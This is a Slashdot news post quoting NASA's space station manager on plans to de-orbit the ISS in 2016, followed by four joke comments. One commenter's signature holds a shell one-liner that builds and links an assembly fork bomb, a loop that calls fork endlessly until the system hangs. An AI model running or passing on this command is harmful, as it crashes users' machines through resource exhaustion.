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NASA Plans To De-Orbit ISS In 2016

Posted by ryuzaki0 on from the everybody-duck dept.

NewbieV writes "The international space station is by far the largest spacecraft ever built by earthlings. Circling the Earth every 90 minutes, it often passes over North America and is visible from the ground when night has fallen but the station, up high, is still bathed in sunlight. After more than a decade of construction, it is nearing completion and finally has a full crew of six astronauts. The last components should be installed by the end of next year. And then? 'In the first quarter of 2016, we'll prep and de-orbit the spacecraft,' says NASA's space station program manager, Michael T. Suffredini."

4 of 554 comments (clear)

  1. Guess the Permanent Interplanetary Internet Node.. by Anonymous Coward · · Score: 5, Funny

    Isn't really permanent, eh?

  2. Wait, before you do! by SickFreak · · Score: 5, Funny

    Build another one, then de-orbit both of them. Why build and destroy one when you can do two for twice the price?

  3. Re:So what does that make the IRR? by KronosReaver · · Score: 5, Funny

    How much was invested in this thing, I wonder?

    If only there were a way we could find out...

    Oh wait... I know...

    Maybe check the single link to the very short article where it mentions twice an "estimated" 100 Billion (US$) combined from all involved countries.

  4. Re:It'll never happen by Hal_Porter · · Score: 5, Funny

    They should put some celebrities on it and have them plead for money unless people want to watch them die a horrible fiery death.

    Hmm, on second thoughts that woul be awesome to watch.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;